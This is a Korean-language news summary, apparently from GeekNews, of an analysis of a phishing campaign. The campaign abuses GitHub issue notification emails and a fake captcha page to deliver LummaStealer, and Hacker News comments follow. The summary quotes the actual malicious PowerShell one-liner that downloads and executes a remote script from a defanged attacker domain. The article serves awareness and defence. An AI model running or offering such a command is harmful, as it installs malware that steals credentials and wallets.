GN⁺: GitHub 알림 이메일 악용한 악성코드 배포 사건
(ianspence.com)- 오픈 소스 개발자로서 GitHub에서 자주 이메일을 받음
- 대부분의 이메일은 GitHub 사용자가 상호작용한 내용을 알리는 알림 이메일임
- 그러나 일부 이메일은 GitHub 보안을 사칭하여 악성코드를 다운로드하게 함
공격 방법
- 공격자가 임시 GitHub 계정을 사용해 공개 저장소에 이슈를 생성함
- 공격자가 이슈를 빠르게 삭제함
- 저장소 소유자는 알림 이메일을 받음
- 이메일의 링크를 클릭함
- 지시에 따라 시스템에 악성코드를 감염시킴
이메일 메시지 분석
- 이메일 내용은 대부분 공격자가 제어할 수 있음
- 이메일에는 새로운 이슈가 생성되었다는 내용이 없음
- 공격자는 "Github Security Team"을 사칭함
- 이메일은 GitHub에서 발송된 것이므로 피싱 체크를 통과함
GitHub의 개선점
- 이메일에 더 많은 맥락을 제공하여 공격의 효과를 줄일 수 있음
- 공격자가 제어할 수 있는 콘텐츠를 줄이고 발신자에 대한 명확성을 높여야 함
웹사이트
- 이메일의 링크를 따라가면 캡차 페이지로 이동함
- 캡차 페이지는 사용자가 Windows 실행 상자에 명령을 입력하도록 유도함
악성코드
- 사이트는 다음 명령을 클립보드에 복사함:
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content"
- 이 명령은 PowerShell 프로세스를 시작하고 스크립트를 다운로드하여 실행함
악성코드 단계
- PowerShell 명령을 통해 스크립트를 다운로드하고 실행함
- 스크립트는 악성 실행 파일을 다운로드하고 실행함
- 실행 파일은 디지털 서명이 있지만 유효하지 않음
- Windows는 유효하지 않은 서명에 대해 경고하지 않음
Windows의 약점
- 인터넷에서 다운로드된 파일을 식별하는 "Mark of the Web" (MOTW) 플래그가 설정되지 않음
- .NET Framework의
System.Net.WebClient
클래스는 MOTW 플래그를 설정하지 않음 - MOTW 플래그가 설정되지 않은 경우 Windows는 유효하지 않은 서명에 대해 경고하지 않음
악성코드 분석
- 악성코드는 메모리에 로드되어 실행됨
- LummaStealer라는 악성코드로, 암호화폐 지갑, 저장된 자격 증명 등을 탈취함
결론
- GitHub 알림 이메일의 약점을 악용한 공격 사례
- 다양한 도구를 사용하여 분석을 수행함
GN⁺의 정리
- 이 기사는 GitHub 알림 이메일을 악용한 악성코드 공격 사례를 다룸
- GitHub의 이메일 시스템의 약점을 악용하여 악성코드를 배포함
- Windows의 "Mark of the Web" 플래그와 디지털 서명 검증의 약점을 이용함
- LummaStealer라는 악성코드가 사용됨
- GitHub와 Microsoft에 보고된 약점들임
- 유사한 기능을 가진 다른 프로젝트로는 Cyfirma의 분석 자료를 추천함
Hacker News 의견
-
최근 PayPal에서 매우 설득력 있는 이메일을 받았음
- 누군가가 인용 기능을 사용하여 "PayPal need to get in touch about a your recent payment of $499.00, please call +1-...."라는 회사 이름을 설정했음
- 이메일은 실제 PayPal.com에서 왔으며, 이런 사용자 이름을 관리하지 않는 것이 이해되지 않음
- 이를 보고했지만 아직 답변을 받지 못했음
- 이 이메일은 진짜 PayPal 이메일처럼 보이도록 형식화되어 많은 사람들이 속을 것 같음
-
사람들이 정말로 이런 사기에 속는지 궁금함
- 이메일이 github에서 왔다는 것을 알고 있다고 가정함
- 첫 번째 경고: 이메일이 실제 도메인의 변형으로 연결됨
- 두 번째 경고: 캡차가 셸 명령을 입력하라고 요구함
-
주니어 개발자들이 이런 사기에 속을 수 있을 것 같음
- "오, 코드 실행으로 캡차를 해결하다니, 참 신기하네!"
-
웹페이지가 클릭만으로 복사/붙여넣기 버퍼를 채울 수 없어야 함
- 이메일의 링크를 클릭하거나 이메일의 내용을 신뢰하지 말아야 함
- Windows가 여전히 1줄의 PowerShell 명령으로 루트 권한을 허용하는 것이 문제임
-
Github는 자동화된 서비스로 링크를 확인하지 않고 이슈에 링크를 넣는 것을 막아야 함
- Github는 이메일로 전송하는 내용을 더 잘 관리해야 함
-
github-scanner.com이 여전히 악성 파티인지 궁금함
- Cloudflare가 DNS를 호스팅하고 있으며, 이 문제를 보고할 방법이 없음
-
공격자가 이슈를 빠르게 삭제함
- 관리자만 이슈를 삭제할 수 있음
- 따라서 저장소에는 이슈의 흔적이 남아 있음
-
좋은 글임, Julia Evans의 블로그와 비슷한 느낌을 줌
-
2024년에도 여전히 가장 간단한 속임수에 속는 사람들이 있다는 것이 슬픔
-
오늘 아침에 이런 알림을 받았고 무시했음
- 알림이 특정 저장소에 관한 것이었음
-
읽을 가치가 있음, 그들이 무엇을 하려고 하는지 보여줌
- 링크만으로도 의심스러울 수 있지만, 누군가가 이를 파헤치는 것을 보는 것이 재미있음
-
비슷한 GitHub 알림 이메일을 받았음
- 저장소에서 취약성이 발견되었다고 했지만, 클릭하지 않았음
- 게으른 프로그래머라서 클릭하지 않았음